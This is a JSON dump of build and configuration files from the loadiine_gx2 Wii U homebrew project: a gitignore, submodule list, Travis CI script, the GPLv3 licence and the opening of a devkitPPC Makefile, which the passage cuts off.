[
  {
    "path": ".gitignore",
    "content": "/fs/build\n/installer/bin\n/loader/build\n/menu/build\n/server/logs/*.txt\n/build\n/*.elf\n/fs/*.elf\n/loader/*.elf\n/sd_loader/build\n/sd_loader/*.elf\n/udp_debug_reader/obj\n/udp_debug_reader/GeckoLog.txt\n/installer/sd_loader.h\n/languages/*.pot\n/src/gitrev.c\n"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"src/controller_patcher\"]\n\tpath = src/controller_patcher\n\turl = https://github.com/Maschell/controller_patcher\n[submodule \"src/dynamic_libs\"]\n\tpath = src/dynamic_libs\n\turl = https://github.com/Maschell/dynamic_libs\n"
  },
  {
    "path": ".travis.yml",
    "content": "language: c\n\nsudo: false\n\nbranches:\n  except:\n    - /^*-v[0-9]/\n    - /^build-[0-9a-z\\-]*/\n\nnotifications:\n  email: false\n\ncache:\n  apt: true\n  directories:\n  - \"/home/travis/devkitPro\"\n\nbefore_cache:\n- rm -rf $DEVKITPRO/*.7z\n- rm -rf $DEVKITPRO/*.bz2\n- rm -rf $DEVKITPRO/examples\n\naddons:\n  apt:\n    packages:\n    - p7zip-full\n    - zip\n\nbefore_install:\n- export DEVKITPRO=/home/travis/devkitPro\n- export DEVKITPPC=${DEVKITPRO}/devkitPPC\n- mkdir -p $DEVKITPRO\n- cd $DEVKITPRO\n- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/devkitPPCupdatePPCr29.pl\n- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/libogc.7z\n- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/portlibs.7z\n\ninstall:\n- cd $DEVKITPRO\n- perl devkitPPCupdatePPCr29.pl\n- 7z x -y libogc.7z\n- 7z x -y portlibs.7z\n- cp -R portlibs/ppc/* devkitPPC/\n\nbefore_script:\n- cd $TRAVIS_BUILD_DIR/\n\nscript:\n- make\n- cd $TRAVIS_BUILD_DIR/installer\n- make\n\nbefore_deploy:\n- cd $TRAVIS_BUILD_DIR/\n- cp -R installer/bin/*.bin www/loadiine_gx2/\n- cp meta/meta.xml meta/icon.png .\n- commit=\"$(git rev-parse --short=7 HEAD)\"\n- zip -r loadiine_gx2_$commit.zip www loadiine_gx2.elf meta.xml icon.png\n- git config --global user.email \"builds@travis-ci.com\"\n- git config --global user.name \"Travis CI\"\n- export GIT_TAG=Loadiine-nightly-$commit\n- git tag $GIT_TAG -a -m \"Loadiine_gx2 nightly build. Not a stable release. Expect bugs!\"\n- git push --quiet https://$GITHUBKEY@github.com/dimok789/loadiine_gx2 $GIT_TAG > /dev/null 2>&1\n\ndeploy:\n  provider: releases\n  skip_cleanup: true\n  prerelease: true\n  api_key:\n    secure: R7WrOSmjYSD3DfUyUkklxSheD7MU/np6MycSJ11B1CZ054FUz+xMY5WlvM7mjoq8YDYSznKtRmoFEmc1ZQW/hFNZORPjTvLDOeO/8KWP+RmFS2VKFgpEYn6oBFnFWfzRcLelLcYIuJoCgqEB0NcUSXR1NNvpp4KIszdoO8bJlJekNcwnnUCjeYSRT0JcP5RFqCZoVex6YREgmJfe3mJ0/B8gFgHkwQeQpIS7WVDfC6EgEL5bXLCZuVwGQzyqG6rTvkxVVG/vXeKvFOKZJQbY78l09KlU31WU7Kql6mMwuq7cUXkDwczt2iO/cxAaUQnJ4KDmWCDuiJugCXyFMnAyOdAJvGu5WvN2S4aGzxmxqopKoW0wAHf1L+Juv9z36FrYlmT3iYS1KBzM6jVjj2+Bev9xPJuEpRFgvKJI0JlyqX9bXnhF4rOnIaNUEn41EkRGPcYDS4cGsVqNL+CsuND0YGmRw4hOo3E69Oex1WEBMwZNohb8CfVBNXY9I3i6qe4rJ0LJsfsYykK5j1Hc9ZWJpLZQNZHr3gOS3alFq3A4Jwad0yynxkbGML6TUxYcz0TRqoKE1FMrpL2UgyZhG2I3ugH9q3GPF/50CCBEsuVvCwgar9Y0Yw4q/MQwmgX7gg8jaeydS/pAoFcf1MMews57+cL9qiEGKiIL3glp55eNP4Y=\n  file: loadiine_gx2_$commit.zip\n  on:\n    repo: dimok789/loadiine_gx2\n    tags: false\n    all_branches: true"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "Makefile",
    "content": "#---------------------------------------------------------------------------------\n# Clear the implicit built in rules\n#---------------------------------------------------------------------------------\n.SUFFIXES:\n#---------------------------------------------------------------------------------\nifeq ($(strip $(DEVKITPPC)),)\n$(error \"Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC\")\nendif\nifeq ($(strip $(DEVKITPRO)),)\n$(error \"Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO\")\nendif\nexport PATH\t\t\t:=\t$(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)\nexport LIBOGC_INC\t:=\t$(DEVKITPRO)/libogc/include\nexport LIBOGC_LIB\t:=\t$(DEVKITPRO)/libogc/lib/wii\nexport PORTLIBS\t\t:=\t$(DEVKITPRO)/portlibs/ppc\n\nPREFIX\t:=\tpowerpc-eabi-\n\nexport AS\t:=\t$(PREFIX)as\nexport CC\t:=\t$(PREFIX)gcc\nexport CXX\t:=\t$(PREFIX)g++\nexport AR\t:=\t$(PREFIX)ar\nexport OBJCOPY\t:=\t$(PREFIX)objcopy\n\n#---------------------------------------------------------------------------------\n# TARGET is the name of the output\n# BUILD is the directory where object files & intermediate files will be placed\n# SOURCES is a list of directories containing source code\n# INCLUDES is a list of directories containing extra header files\n#---------------------------------------------------------------------------------\nTARGET\t\t:=\tloadiine_gx2\nBUILD\t\t:=\tbuild\nBUILD_DBG\t:=\t$(TARGET)_dbg\nSOURCES\t\t:=\tsrc \\\n\t\t\t\tsrc/common \\\n\t\t\t\tsrc/dynamic_libs \\\n\t\t\t\tsrc/fs \\\n\t\t\t\tsrc/game \\\n\t\t\t\tsrc/gui \\\n\t\t\t\tsrc/kernel \\\n\t\t\t\tsrc/language 